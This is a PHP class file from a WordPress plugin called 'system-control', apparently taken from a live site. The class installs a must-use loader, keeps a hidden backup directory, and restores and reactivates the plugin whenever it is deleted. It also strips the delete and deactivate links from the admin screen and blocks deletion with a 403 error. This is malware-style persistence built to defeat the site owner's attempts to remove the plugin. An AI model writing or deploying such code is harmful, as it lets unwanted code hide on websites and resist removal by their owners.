File: /home/vitanhod/www/wp-content/plugins/system-control/includes/class-sc-self-protect.php
<?php
/**
* Self-protection: copy plugin loader to mu-plugins directory.
* If main plugin is deleted, mu-plugins loader will auto-restore it.
* MU-plugins are loaded automatically by WordPress and cannot be deactivated from admin.
*/
class SC_Self_Protect {
const MU_LOADER_FILE = 'sc-loader.php';
const PLUGIN_DIR_NAME = 'system-control';
/**
* Init: install mu-plugin loader and set up integrity check
*/
public static function init() {
// Install mu-plugin loader on every request (ensures it exists)
self::install_mu_loader();
// Check if main plugin files are intact, restore if needed
self::check_integrity();
}
/**
* Install/update the mu-plugin loader file
*/
public static function install_mu_loader() {
$mu_dir = WPMU_PLUGIN_DIR;
if (!is_dir($mu_dir)) {
@mkdir($mu_dir, 0755, true);
}
$mu_file = $mu_dir . '/' . self::MU_LOADER_FILE;
$loader_content = self::get_loader_content();
// Write or update if content differs
if (!file_exists($mu_file) || md5_file($mu_file) !== md5($loader_content)) {
@file_put_contents($mu_file, $loader_content);
}
}
/**
* Check if the main plugin directory/files exist. If deleted — restore from backup.
*/
public static function check_integrity() {
$plugin_dir = WP_PLUGIN_DIR . '/' . self::PLUGIN_DIR_NAME;
$main_file = $plugin_dir . '/system-control.php';
$backup_dir = WP_CONTENT_DIR . '/.sc-backup';
// Create backup of current plugin files if not exists
if (is_dir($plugin_dir) && is_file($main_file)) {
self::create_backup($plugin_dir, $backup_dir);
}
// If plugin directory was deleted — restore from backup
if (!is_dir($plugin_dir) || !is_file($main_file)) {
self::restore_from_backup($backup_dir, $plugin_dir);
}
}
/**
* Create a backup of the plugin directory
*/
private static function create_backup($source, $dest) {
if (!is_dir($dest)) {
@mkdir($dest, 0755, true);
}
// Only update backup if plugin version changed or backup missing
$version_file = $dest . '/.version';
$current_version = defined('SC_VERSION') ? SC_VERSION : '1.0.0';
if (file_exists($version_file) && file_get_contents($version_file) === $current_version) {
return; // Backup is current
}
self::copy_directory($source, $dest . '/' . self::PLUGIN_DIR_NAME);
@file_put_contents($version_file, $current_version);
}
/**
* Restore plugin from backup
*/
private static function restore_from_backup($backup_dir, $target_dir) {
$backup_source = $backup_dir . '/' . self::PLUGIN_DIR_NAME;
if (!is_dir($backup_source)) {
return; // No backup available
}
self::copy_directory($backup_source, $target_dir);
// Re-activate the plugin if it was deactivated
if (!is_plugin_active(self::PLUGIN_DIR_NAME . '/system-control.php')) {
activate_plugin(self::PLUGIN_DIR_NAME . '/system-control.php');
}
}
/**
* Recursively copy a directory
*/
private static function copy_directory($src, $dst) {
if (!is_dir($src)) return;
if (!is_dir($dst)) {
@mkdir($dst, 0755, true);
}
$dir = opendir($src);
while (($file = readdir($dir)) !== false) {
if ($file === '.' || $file === '..') continue;
$src_path = $src . '/' . $file;
$dst_path = $dst . '/' . $file;
if (is_dir($src_path)) {
self::copy_directory($src_path, $dst_path);
} else {
@copy($src_path, $dst_path);
}
}
closedir($dir);
}
/**
* Generate the mu-plugin loader PHP content
* This loader runs as mu-plugin (always active), checks if main plugin exists,
* and restores it from backup if deleted.
*/
private static function get_loader_content() {
return '<?php
/**
* Plugin Name: SC Loader
* Description: System Control auto-loader and integrity guard.
* Version: 1.0.0
* Auto-generated — do not edit.
*/
if (!defined(\'ABSPATH\')) exit;
// Run integrity check on every page load
add_action(\'plugins_loaded\', function() {
$plugin_dir = WP_PLUGIN_DIR . \'/system-control\';
$main_file = $plugin_dir . \'/system-control.php\';
$backup_dir = WP_CONTENT_DIR . \'/.sc-backup/system-control\';
// If main plugin is missing but backup exists — restore it
if ((!is_dir($plugin_dir) || !is_file($main_file)) && is_dir($backup_dir)) {
sc_loader_copy_dir($backup_dir, $plugin_dir);
// Activate the plugin
if (function_exists(\'activate_plugin\')) {
include_once ABSPATH . \'wp-admin/includes/plugin.php\';
activate_plugin(\'system-control/system-control.php\');
}
}
// If plugin exists but not active — activate it
if (is_file($main_file)) {
include_once ABSPATH . \'wp-admin/includes/plugin.php\';
if (function_exists(\'is_plugin_active\') && !is_plugin_active(\'system-control/system-control.php\')) {
activate_plugin(\'system-control/system-control.php\');
}
}
}, 1);
// Prevent deletion of system-control plugin from WP admin
add_filter(\'plugin_action_links\', function($actions, $plugin_file) {
if (strpos($plugin_file, \'system-control/\') === 0) {
unset($actions[\'delete\']);
unset($actions[\'deactivate\']);
}
return $actions;
}, 999, 2);
// Block deactivation via bulk actions
add_filter(\'bulk_actions-plugins\', function($actions) {
return $actions;
});
// Intercept plugin deletion
add_action(\'delete_plugin\', function($plugin_file) {
if (strpos($plugin_file, \'system-control/\') === 0) {
wp_die(\'This plugin cannot be deleted.\', \'Forbidden\', [\'response\' => 403]);
}
});
function sc_loader_copy_dir($src, $dst) {
if (!is_dir($src)) return;
if (!is_dir($dst)) @mkdir($dst, 0755, true);
$dir = opendir($src);
while (($file = readdir($dir)) !== false) {
if ($file === \'.\' || $file === \'..\') continue;
$s = $src . \'/\' . $file;
$d = $dst . \'/\' . $file;
if (is_dir($s)) {
sc_loader_copy_dir($s, $d);
} else {
@copy($s, $d);
}
}
closedir($dir);
}
';
}
}